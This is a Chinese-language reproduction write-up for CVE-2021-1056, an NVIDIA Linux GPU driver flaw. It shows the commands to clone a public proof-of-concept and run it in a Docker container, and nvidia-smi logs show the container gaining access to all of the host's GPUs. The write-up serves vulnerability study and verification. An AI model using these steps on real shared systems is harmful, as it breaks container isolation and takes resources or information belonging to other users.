漏洞描述
用于Linux的NVIDIA GPU显示驱动程序在内核模式层（nvidia.ko）中包含一个漏洞，在该漏洞中，它没有完全遵守操作系统文件系统提供GPU设备级隔离的权限，这可能导致拒绝服务或信息泄露。
漏洞影响
NVIDIA GPU显示驱动程序
环境搭建
git clone https://github.com/pokerfaceSad/CVE-2021-1056.git
cd CVE-2021-1056
docker run --gpus 1 -v $PWD:/CVE-2021-1056 -it tensorflow/tensorflow:1.13.2-gpu bash漏洞复现
进入容器检查 GPU状态，只有一块GPU
In Container# nvidia-smi
Sat Jan 9 07:21:03 2021
+-----------------------------------------------------------------------------+
| NVIDIA-SMI 450.51.05 Driver Version: 450.51.05 CUDA Version: 11.0 |
|-------------------------------+----------------------+----------------------+
| GPU Name Persistence-M| Bus-Id Disp.A | Volatile Uncorr. ECC |
| Fan Temp Perf Pwr:Usage/Cap| Memory-Usage | GPU-Util Compute M. |
| | | MIG M. |
|===============================+======================+======================|
| 0 Tesla V100-PCIE... Off | 00000000:02:00.0 Off | 0 |
| N/A 27C P0 23W / 250W | 0MiB / 32510MiB | 0% Default |
| | | N/A |
+-------------------------------+----------------------+----------------------+
+-----------------------------------------------------------------------------+
| Processes: |
| GPU GI CI PID Type Process name GPU Memory |
| ID ID Usage |
|=============================================================================|
| No running processes found |
+-----------------------------------------------------------------------------+在容器中执行漏洞利用脚本，在最后的nvidia-smi的输出中可以看到宿主机所有GPU在容器中都已经可见了
In Container# bash /CVE-2021-1056/main.sh
[INFO] init GPU num: 1
[DEBUG] /dev/nvidia0 exists, skip
[DEBUG] successfully get /dev/nvidia1
[DEBUG] successfully get /dev/nvidia2
[DEBUG] successfully get /dev/nvidia3
[DEBUG] delete redundant /dev/nvidia4
[INFO] get extra 3 GPU devices from host
[INFO] current GPU num: 4
[INFO] exec nvidia-smi:
Sat Jan 9 07:22:43 2021
+-----------------------------------------------------------------------------+
| NVIDIA-SMI 450.51.05 Driver Version: 450.51.05 CUDA Version: 11.0 |
|-------------------------------+----------------------+----------------------+
| GPU Name Persistence-M| Bus-Id Disp.A | Volatile Uncorr. ECC |
| Fan Temp Perf Pwr:Usage/Cap| Memory-Usage | GPU-Util Compute M. |
| | | MIG M. |
|===============================+======================+======================|
| 0 Tesla V100-PCIE... Off | 00000000:02:00.0 Off | 0 |
| N/A 27C P0 23W / 250W | 0MiB / 32510MiB | 0% Default |
| | | N/A |
+-------------------------------+----------------------+----------------------+
| 1 Tesla V100-PCIE... Off | 00000000:03:00.0 Off | 0 |
| N/A 30C P0 25W / 250W | 0MiB / 32510MiB | 0% Default |
| | | N/A |
+-------------------------------+----------------------+----------------------+
| 2 Tesla V100-PCIE... Off | 00000000:82:00.0 Off | 0 |
| N/A 29C P0 25W / 250W | 0MiB / 32510MiB | 0% Default |
| | | N/A |
+-------------------------------+----------------------+----------------------+
| 3 Tesla V100-PCIE... Off | 00000000:83:00.0 Off | 0 |
| N/A 28C P0 25W / 250W | 0MiB / 32510MiB | 0% Default |
| | | N/A |
+-------------------------------+----------------------+----------------------+
+-----------------------------------------------------------------------------+
| Processes: |
| GPU GI CI PID Type Process name GPU Memory |
| ID ID Usage |
|=============================================================================|
| No running processes found |
+-----------------------------------------------------------------------------+为了验证这些GPU确实是可用的，执行一个tensorflow的demo，可以看到所有的GPU确实可以被容器中的进程使用
In Container# nohup python /CVE-2021-1056/tf_distr_demo.py > log 2>&1 &
In Container$ nvidia-smi
Sat Jan 9 18:58:23 2021
+-----------------------------------------------------------------------------+
| NVIDIA-SMI 450.51.05 Driver Version: 450.51.05 CUDA Version: 11.0 |
|-------------------------------+----------------------+----------------------+
| GPU Name Persistence-M| Bus-Id Disp.A | Volatile Uncorr. ECC |
| Fan Temp Perf Pwr:Usage/Cap| Memory-Usage | GPU-Util Compute M. |
| | | MIG M. |
|===============================+======================+======================|
| 0 Tesla V100-PCIE... Off | 00000000:02:00.0 Off | 0 |
| N/A 32C P0 36W / 250W | 31117MiB / 32510MiB | 1% Default |
| | | N/A |
+-------------------------------+----------------------+----------------------+
| 1 Tesla V100-PCIE... Off | 00000000:03:00.0 Off | 0 |
| N/A 33C P0 35W / 250W | 31117MiB / 32510MiB | 1% Default |
| | | N/A |
+-------------------------------+----------------------+----------------------+
| 2 Tesla V100-PCIE... Off | 00000000:82:00.0 Off | 0 |
| N/A 33C P0 36W / 250W | 31117MiB / 32510MiB | 1% Default |
| | | N/A |
+-------------------------------+----------------------+----------------------+
| 3 Tesla V100-PCIE... Off | 00000000:83:00.0 Off | 0 |
| N/A 32C P0 37W / 250W | 31117MiB / 32510MiB | 1% Default |
| | | N/A |
+-------------------------------+----------------------+----------------------+
+-----------------------------------------------------------------------------+
| Processes: |
| GPU GI CI PID Type Process name GPU Memory |
| ID ID Usage |
|=============================================================================|
+-----------------------------------------------------------------------------+参考文章
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